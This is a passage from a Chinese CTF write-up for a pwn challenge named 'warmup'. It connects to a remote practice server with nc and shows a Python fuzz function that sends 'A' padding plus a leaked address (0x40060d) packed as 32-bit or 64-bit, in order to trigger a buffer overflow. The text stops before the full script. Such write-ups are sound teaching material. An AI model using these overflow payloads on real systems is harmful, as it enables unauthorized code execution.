题目地址:warmup
这是高手进阶区的第三题,我们先看下题目内容
这个题目没有附件,那就是要fuzz的题目了,我们先正常走一下程序看看
root@mypwn:/ctf/work/python/warmup# nc 111.198.29.45 32453
-Warm Up-
WOW:0x40060d
>AAA
这个题目的出发点就是要大家做fuzz,看下提示内容有个地址0x40060d,那就是说fuzz的时候要带上地址/或者不带地址。
先给出fuzz的函数
addr = 0x40060d
def send_fuzz(p, num, type):
payload = 'A'*num
if type == 1:
payload += p32(addr)
if type == 2:
payload += p64(addr)
p.sendlineafter('>', payload)
这里分成3种类型:不带地址,带32位地址,带64位地址
根据fuzz函数,构造fuzz带python脚本: